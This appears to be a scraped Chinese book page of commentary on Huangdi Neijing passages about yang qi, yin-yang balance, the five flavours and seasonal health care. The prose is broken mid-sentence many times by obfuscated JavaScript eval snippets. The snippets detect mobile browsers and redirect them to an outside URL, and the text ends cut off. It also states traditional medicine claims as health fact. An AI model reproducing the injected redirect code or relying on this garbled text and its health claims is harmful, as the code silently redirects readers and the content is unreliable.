总之，“掌握清静之道，志意与阳气自然和谐”是一种生活的艺术和智慧。通过修炼内心、适当运动、合理饮食和规律作息等方式，我们可以逐步掌握这一道法，让身心达到一种最佳的和谐状态。 对于“苍天之气，清静则志意治，顺之则阳气固，虽有贼邪，弗能害也，此因时之序”这一论述，我们可以从古代哲学与中医理论的角度来进行解读。 首先，这里的“苍天之气”可以理解为自然界中的宇宙能量或天地之气。在古人的观念中，天地之气是万物生长与变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428599|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的源泉。当这种能量处于“清静”状态时，即处于一种平和、稳定的状态，它会与人体内的“志意”相互呼应，使人的意志和意念也达到一种和谐与平衡的状态。 “顺之则阳气固”进一步强调了顺应自然之气的重要性。当人体顺应天地之气的运行规律，与自然界的节奏保持同步时，体内的阳气就会得到巩固和增强。阳气是中医理论中生命的原动力，它能够促进气血的流通，维持身体的正常功能。因此，阳气固则身体强健，能够抵御疾病的侵袭。 “虽有贼邪，弗能害也”则是一种理想状态。这里的“贼邪”可以理解为外界的不良因素或疾病。当人的意志坚定、阳气旺盛时，即使面临外界的不良因素或疾病的侵袭，也能够保持身心的健康与活力，不受其害。 “此因时之序”强调了顺应自然规律和时序的重要性。自然界有其固有的运行规律和时序，人体也应该顺应这种规律和时序来调节自身的状态。只有顺应自然，才能够达到身心的和谐与平衡，实现健康长寿的目标。 综上所述，“苍天之气，清静则志意治，顺之则阳气固，虽有贼邪，弗能害也，此因时之序”这一论述体现了古代哲学与中医理论对于人与自然关系的深刻理解。它告诉我们应该顺应自然规律和时序来调节自身的状态，保持身心的和谐与平衡，实现健康长寿的目标。 第3章 （3）揭秘阳气：身体能量的源泉与失衡的警示 “阳气者，若天与日，失其所，则折寿而不彰。故天运当以日光明。”这句话出自《黄帝内经》，是中医理论中关于阳气重要性的经典论述。 在中医理论中，阳气被视为生命活动的重要动力，它如同天空中的太阳，为万物生长提供必要的能量。当阳气充足时，人体的生命活动得以正常运行，各个脏腑器官得以正常工作，人也显得精力充沛，身体健康。 然而，当阳气失去其应有的位置或功能时，人体的生命活动便会受到影响，甚至导致折寿和不彰（即不能彰显其应有的生命活力）。这就像天空中的太阳被遮挡或消失，万物将失去生长的光明和能量。 因此，中医强调“天运当以日光明”，即人体的运行应该如同天空需要阳光一样，保持阳气的充足和正常运行。通过保持健康的生活方式、饮食习惯、运动锻炼等方式，可以增强体内的阳气，使其保持在一个良好的状态，从而保持身体的健康。 总的来说，这句话深刻阐述了阳气在人体健康中的重要性，以及保持阳气充足对于身体健康的重要性。在现代社会，我们更应该重视中医理论中的这一观点，通过科学的方式保持身体健康。 关于“因于暑，汗，烦则喘喝，静则多言，体若燔炭，汗出而散”这一描述，它确实来自于中医对暑热病状的深入解析。这不仅仅是一句简单的描述，它揭示了人体在受到暑热侵袭时，会出现的一系列生理反应和症状。 首先，我们来解析这句话的意思。在炎热的夏季，当人体长时间暴露在高温环境中，暑热之邪便会侵袭人体。此时，人体为了散热，会大量出汗，导致体内的水分和阴液流失，从而引发一系列的症状。由于出汗过多，人会感到烦躁不安，甚至出现喘喝（喘气急促、口渴）的症状。而在静息状态下，由于暑热导致心火亢盛，人可能会出现多言的现象，这是因为心火旺盛，心神不宁所致。此时，身体就像被炭火烧烤一样热，但一旦出汗，暑热便会有所缓解，这是人体自然散热的过程。 从中医的角度来看，暑热之邪侵袭人体，会导致体内阴阳失衡，气血不畅。暑热属阳邪，容易耗伤人体的阴液，使人体出现一系列的热象症状。因此，在治疗上，中医会采用清热解暑、养阴生津的方法，以恢复体内的阴阳平衡。 在现代医学中，我们也会采取一些措施来应对高温环境带来的不适。比如，保持室内通风、避免长时间暴露在高温环境下、及时补充水分等。此外，对于出现严重中暑症状的患者，如头晕、恶心、呕吐、乏力等，一定要及时采取措施进行治疗。可以立即将患者转移到阴凉处，解开衣物，帮助其散热。如果症状严重，一定要及时送往医院进行治疗，以免延误病情。 针对这一描述，我们还可以从日常生活习惯的角度给出一些建议。首先，避免在中午时分进行户外活动，因为此时阳光直射，气温最高，人体容易中暑。如果必须外出，一定要做好防晒措施，如戴帽子、穿长袖衣物、涂抹防晒霜等。其次，要多喝水，补充体内流失的水分。在高温环境下，人体容易出汗，导致体内水分大量流失。因此，要定时喝水，避免脱水。同时，也可以适当补充一些含有电解质的饮料，帮助维持体内的电解质平衡。 此外，饮食的调整也很重要。在炎热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428600|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏季，我们可以多食用一些具有清热解暑作用的食物，如绿豆、冬瓜、西瓜等。这些食物不仅可以补充水分，还可以帮助降低体温，缓解暑热带来的不适。同时，保持良好的心态也是非常重要的。在高温环境下，人们容易感到烦躁不安，情绪波动较大。因此，我们要学会调整自己的心态，保持平静、乐观的心态，避免因为情绪问题而加重身体的不适。 总之，在炎热的夏季，我们要注意防暑降温，保持身体健康。通过合理的饮食、适当的运动、良好的心态以及必要的医疗措施，我们可以有效地应对高温环境带来的挑战。 关于“因于湿，首如裹，湿热不攘，大筋緛短，小筋驰长”这一描述，它出自中医经典着作，是对湿邪侵袭人体后所出现的一系列病理变化的总结。 首先，让我们来逐一解析这句话的含义。当人体受到湿邪的侵袭时，头部会有如被包裹般的沉重感，这是因为湿邪阻滞了头部气血的流通，导致头部气血不畅，进而出现沉重、昏沉的症状。同时，湿热之邪在体内不消散，会导致气血凝滞，进而影响筋脉的舒缩功能。具体表现为大筋（即主要的筋脉）緛短（收缩），而小筋（即细小的筋脉）则驰长（松弛）。 从中医的角度来看，湿邪是一种常见的致病因素，它容易阻滞人体气血的流通，导致各种病理变化。当湿邪侵袭人体时，不仅会影响头部的气血流通，还会导致身体其他部位的气血不畅，进而引发各种疾病。因此，在治疗上，中医会采用祛湿、清热、舒筋等方法，以恢复人体的气血流通和筋脉的舒缩功能。 这章没有结束，请点击下一页继续阅读！ 第3章 （4）深入解析：阳气的正常生理功能及其对健康的重要性 在中医理论中，“阳气”通常指人体内的生命活动力，它是维持人体生理功能正常运行的重要基础。关于“阳气者，大怒则形气绝而血菀于上，使人薄厥。有伤于筋，纵，其弱不容”这句话，我们可以从中医的角度来进行解释。 “大怒则形气绝而血菀于上”描述的是当一个人处于大怒状态时，情绪过于激动，可能会导致气血运行紊乱，使气血上逆，从而可能出现头痛、面红耳赤、血压升高等症状，严重时甚至可能导致昏厥（“薄厥”）。 “有伤于筋，纵，其若不容”则是说大怒还可能对筋络造成伤害，导致筋络松弛（“纵”），进而出现关节活动不利、肌肉松弛无力等症状，使人感觉身体好像不受自己控制一样（“其若不容”）。 情绪的稳定对人体的健康至关重要。过度的情绪波动，尤其是大怒，会严重影响人体的气血运行和脏腑功能，从而可能导致各种疾病的发生。因此，保持情绪的稳定和心态的平和，是维护身体健康的重要措施之一。 “高梁之变，足生大丁，受如持虚。劳汗当风，寒薄为皶，郁乃痤。” 这句话描述了饮食不当和生活方式对人体健康的影响。 “高梁之变，足生大丁，受如持虚”这句话指的是长期过食肥甘厚味（如高粱等精细粮食），会导致体内湿热蕴结，进而在足部形成“大丁”，即严重的疔疮。这里的“受如持虚”形容的是身体对病邪的抵抗力减弱，仿佛手持空虚之器，无法阻挡病邪的侵袭。 “劳汗当风，寒薄为皶，郁乃痤”则描述了另一种情况：当人体在劳作后出汗，毛孔张开，若此时遭遇风寒侵袭，则寒邪容易入侵皮肤，形成粉刺（“皶”）。若寒邪进一步郁积在体内，则可能形成痤疮（“痤”）。 从这句话中，我们可以看到中医对饮食和生活方式与健康之间关系的深刻认识。它提醒我们，要注意饮食的均衡，避免过食肥甘厚味；同时，也要注意在劳作后避免风寒侵袭，保持身体的温暖和干燥。 在现代生活中，我们仍然可以借鉴这些中医的理念，通过调整饮食和生活方式来维护身体健康。例如，保持饮食的均衡，多摄入蔬菜、水果等富含纤维素和维生素的食物；同时，注意劳逸结合，避免过度劳累和长时间处于寒冷潮湿的环境中。 “开阖不得，寒气从之，乃生大偻”这句话是中医关于人体阳气和外界寒气相互作用导致疾病的一个观点。 我们来解释一下这句话的含义。在中医理论中，“开阖”通常指的是人体毛孔的开合，也就是皮肤对外界环境的适应能力。当人体受到外界刺激，如寒冷、炎热等，皮肤会通过毛孔的开合来调节体温，保持身体的舒适状态。然而，如果“开阖不得”，也就是毛孔无法正常开合，那么人体就无法有效地调节体温，抵御外界寒气的侵袭。 当寒气从毛孔侵入人体后，它会沿着经络游走，影响人体的气血运行。如果寒气侵袭到脊柱部位，就会导致脊柱弯曲变形，形成“大偻”这种病症。大偻在中医中通常指的是脊柱弯曲、变形、僵硬的一种疾病，与现代医学中的脊柱侧弯、强直性脊柱炎等疾病有一定的相似性。 从这句话中，我们可以看到中医对于人体与外界环境相互作用的深刻认识。它告诉我们，要想保持身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428601|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 健康，就要注意调节身体的开阖功能，保持皮肤的正常开合，避免寒气的侵袭。同时，也要注意保暖，避免长时间处于寒冷的环境中，以免寒气侵入体内，影响身体健康。 当然，对于已经形成的“大偻”等脊柱疾病，中医也有相应的治疗方法，如针灸、推拿、中药等，可以帮助患者缓解症状，改善病情。但需要注意的是，这些治疗方法需要在专业医师的指导下进行，患者切勿自行尝试。 在中医理论中，“风邪”是一个不容忽视的致病因素，它不仅仅是指自然界中流动的风，更是泛指一种能够侵袭人体、导致疾病发生的外邪。风邪的特性在于其流动性强、善行数变，这使得它致病时常常表现出发病迅速、病情多变的特点。 正如您所提到的，“陷脉为瘘，留连肉腠，俞气化薄，传为善畏，及为惊骇”这句话，实际上就涉及到了风邪侵入人体后，与体内气血相互作用，导致的一系列病理变化。气血不畅、积聚于局部，形成了瘘管，进而影响到了肌肉和皮肤之间的组织间隙，使得病情变得复杂。而气血的积聚，又进一步阻碍了穴位（俞气）的气化功能，从而影响了人的精神状态，出现恐惧和惊骇等情绪。 再来看“魄汗未尽，形弱而气烁，穴俞以闭，发为风疟”这句话，它描述的是另一种风邪侵袭人体的情形。当人体在出汗时，如果汗液未能完全排出，或者因为外感风寒等原因导致汗液无法正常排出，就会使得人体形弱气烁，即身体虚弱、气血不畅。此时，穴位（穴俞）也会因为气血的积聚而闭塞，从而引发风疟等疾病。 这章没有结束，请点击下一页继续阅读！ 第3章 （5）阴阳平衡之道：预防疾病的自然法则 我们来说说这句出自《黄帝内经·素问·生气通天论》的经典论述：“阴者，藏精而起亟也；阳者，卫外而为固也。”这无疑是中医理论中阴阳学说的精髓所在。 从中医的角度来看，“阴者，藏精而起气也”，这句话揭示了阴气的两大功能。阴气，主要指的是人体内部的物质基础和能量储备，如精、血、津液等。它不仅滋养和濡润着我们的脏腑、官窍，为人体生命活动提供源源不断的物质基础，更在人体消耗能量或物质后，迅速地进行补充和恢复，确保人体正常生理功能的维持。这种“起亟”的能力，是阴气独特的魅力所在。 而“阳者，卫外而为固也”，则强调了阳气的重要作用。阳气，作为人体对外界的抵抗力和保护力，它如同人体的卫士，时刻抵御着外邪的入侵，维护着人体的正常生理功能。同时，阳气还能巩固人体的正气，使其保持稳定和强健，从而抵御外邪的侵害。当人体受到外界病邪的侵袭时，阳气能够迅速作出反应，将病邪排出体外，守护我们的健康。 在中医理论中，阴阳是宇宙间一切事物发展变化的纲领和规律，也是人体生命活动的根本动力。阴阳二气相互对立、相互依存，在人体内部形成了错综复杂的网络系统，调节着人体的生理功能和病理变化。阴阳的平衡是维持人体健康的关键，一旦失衡，就会导致各种疾病的发生。 在实际应用中，中医医师会通过观察患者的症状、舌象、脉象等，来判断患者体内阴阳的盛衰情况，从而制定相应的治疗方案。对于阴虚的患者，中医会采用滋阴的方法进行治疗；而对于阳虚的患者，则会采用温阳的方法。此外，中医还强调“治未病”的观念，即通过调节生活方式、饮食习惯等来预防疾病的发生。 总之，“阴者，藏精而起亟也；阳者，卫外而为固也”这两句话，不仅揭示了中医理论中阴阳的基本功能和作用，更为我们提供了一种全新的健康观念和生活方式。通过理解和应用阴阳理论，我们可以更好地了解人体的生理功能和病理变化，从而制定出更加科学、合理的治疗方案和生活方式，保持身体的健康和平衡。 你提到的这句话，同样出自《黄帝内经》这一医学经典。这里所描述的是圣人（在古代常用来指代有极高智慧或德行的人）如何通过调和阴阳，使得身体达到一种内外和谐、健康无疾的状态。 “是以圣人陈阴阳，筋脉和同，骨髓坚固，血气皆从”这句话可以理解为，圣人能够深刻理解并运用阴阳之道，使身体的筋脉和谐统一，骨髓强健坚固，血气流通顺畅。这种状态下，身体的各项机能都得到了良好的调节和平衡。 进一步来说，“如是则内外调和，邪不能害，耳目聪明，气立如故”则描述了当身体达到这种和谐平衡的状态时，不仅能够抵御外邪的侵害，保持健康，还能够使耳目更加聪明敏锐，精神状态保持良好。这是因为身体的阴阳平衡得到了维持，气血流通顺畅，使得身体的各项功能都能够正常发挥。 从现代医学的角度来看，这种阴阳平衡、内外调和的状态其实与人体免疫系统的功能密切相关。当免疫系统功能正常时，身体能够抵御各种病原体的侵害，保持健康状态。而阴阳失衡则可能导致身体机能紊乱，出现各种疾病。 因此，通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428602|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过调节身体的阴阳平衡，可以达到预防疾病、保持健康的目的。这种观念不仅在中医学中得到了广泛应用，在现代医学中也逐渐被重视。例如，在中医理论中，通过针灸、推拿、拔罐等方法可以调节身体的阴阳平衡；而在现代医学中，则通过运动、饮食、心理调节等方式来维持身体的健康状态。 总之，这句话所描述的圣人通过调和阴阳来保持身体健康的观念，不仅体现了中医学的精髓，也为我们现代人提供了宝贵的健康智慧。 “风客淫气，精乃亡，邪伤肝也”这句话出自中医的经典着作，它描述的是风邪侵入人体后，可能导致的一系列病理变化。首先，“风客淫气”意味着外来的风邪侵入人体，与体内的淫气（这里通常指因饮食起居不当、情志失调等因素导致的气血不和、脏腑功能失调等）相互作用，引发疾病。 “精乃亡”则表示在这种作用下，人体的精气可能会受到损害，导致精神不振、体力衰退等症状。而“邪伤肝也”则进一步指出，这种邪气特别容易伤害肝脏，因为中医认为肝主疏泄，具有调畅气机、调节情志的功能，若邪气侵入肝脏，则会影响其正常功能，导致肝气郁结、情志不畅等问题。 接下来，“因而饱食，筋脉横解，肠癖为痔”描述的是，在风邪与淫气相互作用的基础上，如果再加上饮食过饱，可能会导致筋脉松弛、气血不畅，进而引发肠道疾病，如痔疮等。这是因为饱食后，胃肠道的负担加重，气血容易积聚于胃肠道，而筋脉得不到足够的滋养，就会出现松弛无力的现象。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第3章 （6）阴阳平衡：疾病预防的古老智慧 《黄帝内经》中的“四时五气”理论，是中国古代医学理论中的瑰宝。它深刻揭示了人体与自然环境之间的紧密联系，指导我们如何在四季更替中养生，以预防疾病，保持身体健康。 春季养生要防风，多食用疏肝解郁的食物，如菠菜、芹菜等，有助于调和肝气，促进身体气血流通。夏季则要防暑降温，多食用清热解暑的食物，如西瓜、冬瓜，同时避免长时间暴露在高温环境中，保持身体清凉。 进入秋季，我们要特别注重防湿。秋季气候湿润，湿邪易盛，因此要保持居住环境的干燥通风，多食用健脾祛湿的食物，如山药、薏米等。此外，秋季也是养肺的好时节，可以通过深呼吸、练习呼吸操等方式来增强肺功能。 到了冬季，保暖成为首要任务。除了穿着保暖的衣物外，多食用温补食物，如羊肉、鸡肉，有助于身体储存能量，抵御寒冷。同时，冬季也是养肾的好时节，保持充足的睡眠和减少过度劳累对养护肾气至关重要。 在实际生活中，我们可以将这些中医养生的智慧融入到日常生活中，根据四季的变化调整饮食和生活习惯。同时，中医还强调“顺应自然”的养生原则，即尊重自然规律，避免过度劳累和过度消耗身体能量。保持良好的生活习惯和心态，如规律作息、适当运动、均衡饮食、积极乐观等，都能有效提高身体的免疫力和抵抗力。 中医的四时五气理论为我们提供了宝贵的养生智慧。通过根据四季气候的变化来调整养生方式、顺应自然规律、保持良好的生活习惯和心态，我们可以有效地预防疾病，保持身体健康。这也是中医“天人合一”哲学思想在养生实践中的具体体现。 “四时之气，更伤五藏；阴之所生，本在五味；阴之五宫，伤在五味。” 首先，我们来解析“四时之气，更伤五脏”。这里的“四时”指的是春、夏、秋、冬四季，而“五藏”则是指心、肝、脾、肺、肾五脏。中医认为，五脏与四季气候变化息息相关，不同的季节气候对五脏有不同的影响。例如，春季气候温暖多风，易伤肝气；夏季气候炎热，易伤心阳；秋季气候干燥，易伤肺阴；冬季气候寒冷，易伤肾阳。因此，在养生过程中，我们需要根据四季气候的变化，采取相应的养生措施，以保护五脏的健康。 接下来，我们来看“阴之所生，本在五味；阴之五宫，伤在五味”。这里的“阴”指的是人体内的阴液，包括血液、津液等，具有滋润、濡养、宁静等作用。而“五味”则是指酸、苦、甘、辛、咸五种味道，它们分别对应着肝、心、脾、肺、肾五脏。 关于《黄帝内经》中提到的五味（酸、咸、甘、苦、辛）对人体五脏（肝、心、脾、肺、肾）的影响，确实体现了中医理论中“五味入五脏”和“饮食调养”的深刻智慧。 我们来看酸味。酸味食物如柠檬、醋等，适量摄入能滋养肝阴，有助于肝气的疏泄。但“味过于酸，肝气以津，脾气乃绝”，意味着酸味摄入过多，肝气过旺，便会抑制脾的功能，影响食物的消化和吸收，长期下来可能导致脾气虚弱。 咸味食物如食盐、海产品等，能补充体内的钠元素，对维持体液的平衡有重要作用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428603|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但“味过于咸，大骨气劳，短肌，心气抑”，表明咸味摄入过多会损伤骨骼，导致肌肉短小，并可能抑制心阳，影响心脏的血液循环功能。 甘味食物如糖类、蜂蜜等，能补充能量，滋养身体。但“味过于甘，心气喘满，色黑，肾气不衡”，表明甘味摄入过多会导致痰湿内生，阻塞气机，引发心气喘满等症状，并可能影响肾的排泄功能，导致肾气失衡。 苦味食物如苦瓜、茶叶等，能清热燥湿，有利于身体的排毒。但“味过于苦，脾气不濡，胃气乃厚”，说明苦味摄入过多会损伤脾阳，影响脾的运化功能，导致脾气不能濡养身体，同时也会影响胃的消化功能。 辛味食物如辣椒、姜等，能发散风寒，促进血液循环。但“味过于辛，筋脉沮驰，精神乃央”，表明辛味摄入过多会耗散气血，导致筋脉失养，出现沮驰现象，同时还会刺激神经，使得精神过度亢奋，最终导致精神疲惫。 中医的饮食调养强调“谨道如法”，即要遵循自然规律和人体需要，合理搭配五味。同时，也需要注意五味的相互作用和相互制约，以及它们对五脏功能的整体影响。在实际饮食中，我们应根据自己的体质和季节变化，灵活调整五味的摄入比例，以达到调和五脏、促进健康的目的。 这句话强调了四时气候对五脏的影响以及饮食五味对阴液生成与五脏损伤的关系。在养生过程中，我们需要根据四季气候的变化调整饮食和生活习惯，保持五味的平衡，以保护五脏的健康。同时，这也体现了中医“天人合一”的思想，即人与自然环境的和谐共生。 第4章 金匮真言论 天地合和，五行养生 《金匮真言论》作为中医经典《黄帝内经》的瑰宝之一，确实为我们揭示了人体与自然界的深厚联系。它不仅讨论了五脏六腑与四时、五行、五味、五色的对应关系，更在深层次上展现了中医“天人合一”的哲学思想。 当我们谈及春季养肝、夏季养心、长夏养脾、秋季养肺、冬季养肾时，实际上是在强调人体与自然界的同步变化。这种变化不仅体现在生理上，更在心理、情绪乃至生活方式上都有所体现。比如，在春天，万物复苏，我们也需要像植物一样“发芽”，多进行户外活动，让心情也如同春光般明媚。 除了五脏与四时的对应关系，《金匮真言论》还为我们揭示了五脏与五行、五味、五色的深刻联系。这种对应关系不仅有助于我们理解五脏的生理功能和病理变化，更在饮食调养和疾病预防上提供了宝贵的指导。比如，当我们了解到肝属木、主青色、味酸时，就可以在日常饮食中多摄入一些青色的蔬果，如菠菜、青苹果等，以养肝护肝。 深入解读《金匮真言论》，我们还能发现其蕴含的更深层次的思想。首先，它强调了“顺应自然”的重要性。人体作为自然界的一部分，需要顺应四季变化来调整自己的生活方式和饮食习惯。这种顺应自然的生活方式有助于我们保持身心健康，预防疾病的发生。 其次，《金匮真言论》提出了“治未病”的思想。它认为，在疾病发生之前，人体往往会有一些征兆或信号。如果我们能够及时发现并调整这些信号，就可以有效地预防疾病的发生。这种思想在现代医学中也得到了广泛的认可和应用。 《金匮真言论》作为中医经典之一，为我们提供了丰富的理论和实践指导。通过深入学习和理解这篇经文，我们可以更好地认识人体与自然的关系，掌握中医的精髓和要领，从而在生活中更好地保护自己的健康。 关于“合人形以法四时五行，则脏象可矣”这一古代医学理论，它体现了中医对人体与自然界相互关系的深刻认识。在中医理论中，人体被视为一个与自然环境息息相关的整体，五脏六腑的功能活动及其相互关系，被类比为自然界的四时五行变化。 “四时”即春、夏、秋、冬四季，代表自然界的生长收藏规律；“五行”则指金、木、水、火、土五种基本物质及其运动变化，它们之间相互制约、相互依存，构成了宇宙间万物生长、变化和相互关系的总规律。 将人体脏腑与四时五行相对应，是为了通过观察和认识自然界的变化规律，来理解和调节人体的生理功能。例如，春季属木，与肝相应，肝主疏泄，喜条达而恶抑郁，故春季养生应顺应肝气升发的特点，保持情绪舒畅，避免肝气郁结。 同时，中医还认为，人体脏腑之间的功能活动也是相互协调、相互制约的，这种协调与制约关系同样可以用五行生克制化的理论来解释。例如，心属火，肾属水，心火下降于肾，以资肾阳，共同温煦肾阴，使肾水不寒；肾水上济于心，以助心阴，共同涵养心阳，使心火不亢。这种心肾相交、水火既济的关系，就是脏腑之间相互协调、相互制约的一个具体体现。 因此，“合人形以法四时五行，则脏象可矣”这一理论，不仅为中医诊断和治疗提供了重要的理论基础，也为我们理解人体与自然环境之间的相互关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428604|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提供了深刻的启示。 “岐伯曰：制其小大，令合度也。所谓大小者，象天之无穷也。”这句话是岐伯对于人体与宇宙之间关系的深邃洞察。 这里的“制其小大，令合度也”可以理解为人体内部脏腑经络的大小、长短、深浅、宽窄等形态结构进行精确的调控，使之达到一个和谐、平衡的状态。这个“合度”就是人体内部各部分之间的协调与和谐，如同天地之间的阴阳平衡、五行相生相克一样。 “所谓大小者，象天之无穷也”则是岐伯解释这种调控的依据。他认为，人体内部的大小关系，就像天空中的星辰一样，无穷无尽、变化莫测。这种无穷的变化，正是宇宙间万物生长的规律所在。因此，人体内部的脏腑经络也需要根据这种无穷的变化来进行调控，以适应不断变化的外部环境。 从现代科学的角度来看，岐伯的这种思想虽然带有一定的神秘色彩，但其中蕴含的哲理却与现代医学的许多观点不谋而合。比如，现代医学认为人体是一个复杂的系统，内部各个部分之间存在着千丝万缕的联系。当这个系统处于平衡状态时，人体就能保持健康；而当这个系统失衡时，就会引发各种疾病。因此，现代医学也强调要通过各种手段来调控人体内部的环境，使之达到一个和谐、平衡的状态。 总之，“制其小大，令合度也”是中医理论中一种重要的思想，它强调了人体内部各部分的协调与和谐，以及对于无穷变化的适应与调控。这种思想不仅具有深刻的哲学意义，也为现代医学的发展提供了有益的启示。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第4章 （1）脏与四时的科学奥秘，养生新风尚 “天有八风”指的是自然界中存在的八种风向变化，即东、南、西、北、东南、东北、西南、西北八方之风。这八风在古代医学中被认为与人体健康息息相关，不同的风向对人体有着不同的影响。例如，东风生于春，病在肝，俞在颈项；南风生于夏，病在心，俞在胸胁；西风生于秋，病在肺，俞在肩背；北风生于冬，病在肾，俞在腰股；等等。 而“经有五风”则是指人体经络系统中的五种病理变化，这些变化与自然界的风邪侵袭人体后，引起的经络气血运行不畅有关。具体来说，包括风痹、风痿、风厥、风劳、风臊等五种病症。 通过对“天有八风，经有五风”的理解，我们可以看出古代中医对于人与自然关系的深刻认识，以及通过调整人体内部环境来适应外部环境变化的治疗思想。 您关于“八风发邪以为经风，触五脏，邪气发病”的提问，我们得明白这句话所阐述的是中医理论中“外邪致病”的基本原理。 在中医看来，自然界中的“八风”不仅仅是气候的变动，它们还携带着各自特有的外邪。当人体的正气（或称为抵抗力）不足时，这些外邪就有机会侵入体内，沿着人体的经络系统游走，影响气血的正常运行。 “经络”在中医理论中扮演着极其重要的角色，它们就像人体内的“高速公路”，负责输送气血和营养物质到各个脏腑器官。当外邪侵袭经络时，气血的流动就会受到阻碍，导致脏腑器官得不到足够的营养和能量，进而引发各种疾病。 当外邪沿着经络游走，最终会触及到人体的五脏六腑。五脏六腑是人体内最为重要的器官系统，它们的功能状态直接关系到人体的健康。外邪侵袭到五脏六腑时，就会破坏它们的正常功能，导致各种疾病的发生。 在中医的治疗中，对于因外邪侵袭而引起的疾病，我们通常采用“驱邪扶正”的原则。一方面，我们会利用药物或其他治疗手段来驱逐体内的外邪；另一方面，也会通过调理身体，增强人体的正气和抵抗力，从而防止外邪的再次侵袭。 从哲学思想的角度来看，中医强调“天人合一”的观念，认为人与自然是一个不可分割的整体。因此，在预防和治疗疾病时，中医非常注重“因时制宜”，即根据不同的季节、气候和地域特点，采取不同的治疗方法和手段。 在实践应用方面，中医通过望、闻、问、切四诊合参的方法，来判断患者体内是否存在外邪侵袭，以及邪气的性质和部位。一旦确定病因，中医就会采用针灸、推拿、拔罐、艾灸等物理疗法，以及中药内服、外敷等化学疗法来驱邪扶正。 此外，中医还非常注重预防疾病的发生。通过调节人体的阴阳平衡、气血流通等，来增强人体的正气和抵抗力，从而防止外邪的侵袭。同时，中医也强调“饮食有节、起居有常、劳作有度”等生活方式，以保持人体的健康状态。 “所谓得四时之胜者，春胜长夏，长夏胜冬，冬胜夏，夏胜秋，秋胜春，所谓四时之胜也”这句话，体现了中医理论中对于四时（春、夏、长夏、秋、冬）变化与人体健康之间关系的深刻理解。 在中医看来，四时变化不仅影响自然环境，也影响着人体的生理功能。每个季节都有其独特的气候特点和相应的养生原则。例如，春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428605|141410||http|test|mini|href|location''.split(''|''),0,{})); () { 